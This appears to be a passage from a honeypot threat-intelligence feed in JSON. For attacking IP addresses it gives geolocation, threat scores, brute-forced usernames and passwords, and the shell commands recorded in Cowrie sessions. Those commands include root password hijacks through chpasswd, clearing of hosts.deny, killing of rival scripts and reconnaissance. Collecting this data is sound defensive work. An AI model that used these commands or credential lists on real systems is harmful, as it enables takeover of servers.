        "last_seen_30d": "2026-04-19T08:31:15.493000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "65.20.146.137": {
      "attack_count": 2,
      "first_seen": "2026-04-25T02:01:31.265Z",
      "last_seen": "2026-04-25T02:02:02.333Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Baghdad",
      "asn": 203214,
      "as_org": "Hulum Almustakbal Company for Communication Engineering and Services Ltd",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T02:01:31.265000+00:00",
        "last_seen_30d": "2026-04-25T02:03:08.950000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "83.171.89.209": {
      "attack_count": 2,
      "first_seen": "2026-04-05T14:01:04.547Z",
      "last_seen": "2026-04-05T14:03:04.551Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "St Petersburg",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T14:01:04.547000+00:00",
        "last_seen_30d": "2026-04-05T14:13:10.380000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "171.25.158.53": {
      "attack_count": 725,
      "first_seen": "2026-04-20T16:27:43.073Z",
      "last_seen": "2026-04-23T01:16:54.100Z",
      "sessions": 63,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ftpuser",
        "ubuntu",
        "user",
        "sammy",
        "xd",
        "admin1234",
        "deploy",
        "dev",
        "donald",
        "ftptest",
        "intern",
        "marc",
        "morgan",
        "ociisstd",
        "ossuser",
        "postgres",
        "sakura",
        "sfc"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx#EDC",
        "123",
        "123.abc",
        "1234",
        "1q2w3e4r5t.",
        "@2025",
        "A123456F",
        "Aa123456789",
        "Ab-1234567890",
        "Asdf12345",
        "Changeme_123",
        "Dev1@",
        "Ftpuser08",
        "Huawei@123",
        "L@y3rh0st2026",
        "P4ssw0rd",
        "P@ssw0rd@1234",
        "Qaz123456789"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Ftpuser08\\nFOIBk76pGF6s\\nFOIBk76pGF6s\\n\"|passwd",
        "echo \"root:0KLRlLoo3Yxp\"|chpasswd|bash",
        "echo \"root:EZOTO8o4txaR\"|chpasswd|bash",
        "echo \"root:O0fC2Eid0gOv\"|chpasswd|bash",
        "echo \"sammy18!\\nbUCkIZ9PskiE\\nbUCkIZ9PskiE\\n\"|passwd",
        "echo \"xd\\ncjLcvSmlDQaE\\ncjLcvSmlDQaE\\n\"|passwd",
        "echo \"zaq1@WSX\\nVPYU3W2Tj8UB\\nVPYU3W2Tj8UB\\n\"|passwd",
        "echo -e \"Ftpuser08\\nFOIBk76pGF6s\\nFOIBk76pGF6s\"|passwd|bash",
        "echo -e \"sammy18!\\nbUCkIZ9PskiE\\nbUCkIZ9PskiE\"|passwd|bash",
        "echo -e \"xd\\ncjLcvSmlDQaE\\ncjLcvSmlDQaE\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Vaxjo",
      "asn": 35100,
      "as_org": "Patrik Lagerman",
      "threat_score": 34.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.4,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 866,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T16:27:43.073000+00:00",
        "last_seen_30d": "2026-04-23T01:17:59.755000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 725,
        "Suricata": 141
      }
    },
    "154.198.162.75": {
      "attack_count": 593,
      "first_seen": "2026-04-07T13:48:10.716Z",
      "last_seen": "2026-04-14T06:55:35.359Z",
      "sessions": 60,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "odoo",
        "test",
        "admin",
        "dev",
        "developer",
        "frappe",
        "sopuser",
        "steam",
        "appuser",
        "dolphinscheduler",
        "gitea",
        "john",
        "kira",
        "sammy",
        "satya",
        "sdadmin",
        "test1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123.com.",
        "123456",
        "12345678",
        "1234567890",
        "123456a",
        "1234Qwert",
        "123Qwe!@#",
        "1QAZ2wsx..",
        "1qaz2wsx",
        "4rfv$RFV",
        "51nGleD",
        "830922",
        "A123456/",
        "Aa123123.",
        "Admin12!@#",
        "Admin@123",
        "Changeme_123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Changeme_123\\nuSjiXxIHah6U\\nuSjiXxIHah6U\\n\"|passwd",
        "echo \"asdzxc\\n0sbofe9ZwZHA\\n0sbofe9ZwZHA\\n\"|passwd",
        "echo \"developer123\\nKolgviVWSShW\\nKolgviVWSShW\\n\"|passwd",
        "echo \"root:Hj5GGHwGkVMB\"|chpasswd|bash",
        "echo \"root:dU4ti9Qa1rqr\"|chpasswd|bash",
        "echo -e \"Changeme_123\\nuSjiXxIHah6U\\nuSjiXxIHah6U\"|passwd|bash",
        "echo -e \"asdzxc\\n0sbofe9ZwZHA\\n0sbofe9ZwZHA\"|passwd|bash",
        "echo -e \"developer123\\nKolgviVWSShW\\nKolgviVWSShW\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 142002,
      "as_org": "Scloud Pte Ltd",
      "threat_score": 22.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.6,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 731,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T13:48:10.716000+00:00",
        "last_seen_30d": "2026-04-14T06:56:37.591000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 593,
        "Suricata": 138
      }
    },
    "125.138.175.113": {
      "attack_count": 568,
      "first_seen": "2026-04-02T10:22:55.231Z",
      "last_seen": "2026-04-07T07:59:22.702Z",
      "sessions": 55,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "postgres",
        "n8n",
        "ttest",
        "user",
        "deploy",
        "diogo",
        "ftpuser",
        "git",
        "steam",
        "test",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!23qweasdzxc",
        "1212",
        "1234560123",
        "12345678Qq",
        "123456@w",
        "123aaa123",
        "1q2w3e4r5tA",
        "321",
        "742024",
        "Aa654321",
        "Abc123!!!",
        "Admin1@",
        "Frappe!123",
        "Kk123456789",
        "Letmein123!",
        "Pass123456",
        "Postgres1",
        "Postgres10"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"letmein123\\nrY0SnnIERFCH\\nrY0SnnIERFCH\\n\"|passwd",
        "echo \"n8n16\\nxho6RNNRXP3w\\nxho6RNNRXP3w\\n\"|passwd",
        "echo \"root:bSsnq4yGVo6x\"|chpasswd|bash",
        "echo \"root:q5zOPaoi9Nsk\"|chpasswd|bash",
        "echo \"ttest\\nQDXrRMXlPkm1\\nQDXrRMXlPkm1\\n\"|passwd",
        "echo -e \"letmein123\\nrY0SnnIERFCH\\nrY0SnnIERFCH\"|passwd|bash",
        "echo -e \"n8n16\\nxho6RNNRXP3w\\nxho6RNNRXP3w\"|passwd|bash",
        "echo -e \"ttest\\nQDXrRMXlPkm1\\nQDXrRMXlPkm1\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Cheonan",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.4,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 698,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T10:22:55.231000+00:00",
        "last_seen_30d": "2026-04-07T08:00:24.480000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 568,
        "Suricata": 130
      }
    },
    "80.94.92.171": {
      "attack_count": 498,
      "first_seen": "2026-04-01T06:28:28.604Z",
      "last_seen": "2026-04-12T13:29:10.091Z",
      "sessions": 105,
      "ports": [],
      "usernames_attempted": [
        "sol",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "sol",
        "ubuntu"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 20.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.0,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 792,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T06:20:11.985000+00:00",
        "last_seen_30d": "2026-04-12T13:30:15.186000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 498,
        "Suricata": 294
      }
    },
    "103.146.23.195": {
      "attack_count": 404,
      "first_seen": "2026-04-01T01:41:37.013Z",
      "last_seen": "2026-04-02T14:22:45.547Z",
      "sessions": 46,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@12QWaszx",
        "123!@#qaz",
        "147",
        "1q2w3e@12",
        "1qasdfghjkl",
        "1qwe2asd3zxc",
        "Hn@123",
        "Master@1234",
        "Oracle@123",
        "P4$$W0rd",
        "Qwerty2025",
        "Test123",
        "Z!x2c3v4",
        "aaa888",
        "abbas123",
        "admon",
        "armando",
        "asdfgqwert"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:Vlh3xP9VSX4N\"|chpasswd|bash",
        "echo \"root:ZOzG88RUflh9\"|chpasswd|bash",
        "echo \"root:jAndQI5LbQxW\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 131366,
      "as_org": "Lanit Technology and Communication Joint Stock Company",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 518,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T01:41:37.013000+00:00",
        "last_seen_30d": "2026-04-02T14:23:53.697000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 404,
        "Suricata": 114
      }
    },
    "171.243.149.127": {
      "attack_count": 386,
      "first_seen": "2026-04-11T11:17:02.832Z",
      "last_seen": "2026-04-11T11:34:36.137Z",
      "sessions": 77,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "test",
        "developer",
        "user",
        "*****",
        "1234",
        "123456",
        "admian",
        "belkinstyle",
        "bin",
        "brenda",
        "carol",
        "cf1c22",
        "cisco",
        "db2inst2",
        "demo",
        "dubai",
        "ftp",
        "guest"
      ],
      "passwords_attempted": [
        "password",
        "1234",
        "123456",
        "admin",
        "12345",
        "p@ssw0rd",
        "*****",
        "0987654321",
        "111111",
        "112233",
        "12345678",
        "123456789",
        "72ca06",
        "@",
        "OkwKcECs8qJP2Z",
        "P@ssw0rd",
        "abc123",
        "abcd1234",
        "admin01",
        "aerohive"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.6,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 574,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T11:17:02.832000+00:00",
        "last_seen_30d": "2026-04-11T11:35:38.086000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 386,
        "Suricata": 188
      }
    },
    "203.221.12.133": {
      "attack_count": 385,
      "first_seen": "2026-04-05T12:14:07.641Z",
      "last_seen": "2026-04-05T14:52:42.272Z",
      "sessions": 54,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "postgres",
        "345gs5662d34",
        "android",
        "claude",
        "deploy",
        "deployer",
        "ftpuser",
        "hadi",
        "mohit",
        "sammy",
        "test",
        "test3",
        "vpnuser",
        "xt",
        "server2"
      ],
      "passwords_attempted": [
        "123321",
        "123456",
        "123456789",
        "123456qQ",
        "3245gs5662d34",
        "345gs5662d34",
        "A123456a:",
        "Dx123456",
        "Frappe#",
        "Mm123456789",
        "Pass2026!",
        "Passw0rd!",
        "Root1@",
        "Sammy2026",
        "ZAQ!2wsx321!!",
        "abc.123456",
        "claude06",
        "hadi",
        "mohit123",
        "postgres!@#$"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:2pRdjXY2Ai7Y\"|chpasswd|bash",
        "echo \"root:t3s1LVf1XTds\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Melbourne",
      "asn": 7545,
      "as_org": "TPG Telecom Limited",
      "threat_score": 6.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 532,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T12:14:07.641000+00:00",
        "last_seen_30d": "2026-04-05T14:53:44.798000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 385,
        "Suricata": 147
      }
    },
    "47.237.252.157": {
      "attack_count": 378,
      "first_seen": "2026-04-30T12:48:42.284Z",
      "last_seen": "2026-04-30T17:44:48.386Z",
      "sessions": 84,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "deploy",
        "mysql",
        "ubuntu",
        "admin1",
        "amir",
        "app",
        "appuser",
        "azureuser",
        "bigdata",
        "bot",
        "customer",
        "debian",
        "devops",
        "dmdba",
        "dspace",
        "ducc0x",
        "es",
        "flask"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "111",
        "1234",
        "123456789",
        "1qaz@WSX",
        "Aa123123",
        "Aa123456",
        "Aa123456.",
        "Admin@123",
        "Admin@123456",
        "P@ssw0rd",
        "aA123456",
        "aa123456",
        "admin1",
        "admin1234",
        "amir",
        "app123",
        "appuser",
        "azureuser"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 40.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 607,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T12:48:42.284000+00:00",
        "last_seen_30d": "2026-04-30T17:45:58.400000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 378,
        "Suricata": 229
      }
    },
    "27.71.237.45": {
      "attack_count": 362,
      "first_seen": "2026-04-02T17:52:20.333Z",
      "last_seen": "2026-04-04T19:21:41.532Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "ubuntu",
        "345gs5662d34",
        "deploy",
        "frappe",
        "git",
        "mailtest",
        "minecraft1",
        "ozzy",
        "postgres",
        "steam",
        "test",
        "teste",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ7ujm",
        "11qq22ww",
        "1234!@#$qwerQWER",
        "123456",
        "1234rewq!@#$",
        "20240803",
        "43e75233",
        "6789",
        "@dm1n",
        "A123456789b",
        "AAxx111",
        "ASDF123",
        "Admin@321",
        "Asdf2026",
        "Ds@123456",
        "P@ssw0rd@123",
        "Password$1",
        "Password+1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"P@ssw0rd@123\\nXW9L7HhpCPYg\\nXW9L7HhpCPYg\\n\"|passwd",
        "echo \"root:OUMa6Cdh7d20\"|chpasswd|bash",
        "echo -e \"P@ssw0rd@123\\nXW9L7HhpCPYg\\nXW9L7HhpCPYg\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 5.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.8,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 484,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T17:52:20.333000+00:00",
        "last_seen_30d": "2026-04-04T19:22:46.241000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 362,
        "Suricata": 122
      }
    },
    "27.79.4.90": {
      "attack_count": 340,
      "first_seen": "2026-04-15T15:32:41.104Z",
      "last_seen": "2026-04-15T15:59:43.206Z",
      "sessions": 68,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "123456",
        "ace",
        "am",
        "anton",
        "ashish",
        "bin",
        "btf",
        "carol",
        "cf1c22",
        "cisco",
        "cpanel",
        "demo",
        "developer",
        "dubai",
        "ftp",
        "george",
        "geral",
        "guest1"
      ],
      "passwords_attempted": [
        "123456",
        "12345678",
        "P@ssw0rd",
        "1",
        "111111",
        "123",
        "1234",
        "123456789",
        "321start",
        "72b1bd75ac87852a",
        "?",
        "Deadstar!",
        "ace",
        "administrator",
        "aerohive",
        "am",
        "anton",
        "ashish",
        "bananapi",
        "bin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 19.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 486,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T15:32:41.104000+00:00",
        "last_seen_30d": "2026-04-15T16:00:49.510000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 340,
        "Suricata": 146
      }
    },
    "213.165.88.192": {
      "attack_count": 331,
      "first_seen": "2026-04-14T02:58:12.953Z",
      "last_seen": "2026-04-14T03:34:05.273Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "sammy",
        "ts3",
        "user",
        "claude",
        "deploy",
        "deployer",
        "n8n",
        "nodeuser",
        "oracle",
        "testuser",
        "udp",
        "userm",
        "vpn"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "11223344",
        "123321",
        "1qq2w3e4r5t",
        "Abcd123456789@@",
        "Claude123!",
        "Dz123456",
        "Qwer123123",
        "UBUNTU",
        "Ubuntu06",
        "User17!",
        "Vpn15!",
        "ZAQ!2wsx2022!@",
        "a12345600",
        "frappe02",
        "hello",
        "n8n!123",
        "nodeuser123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\n8ayTG2r81bCn\\n8ayTG2r81bCn\\n\"|passwd",
        "echo \"UBUNTU\\nQ7zbCamv17yc\\nQ7zbCamv17yc\\n\"|passwd",
        "echo \"root:O31dNNYQmS77\"|chpasswd|bash",
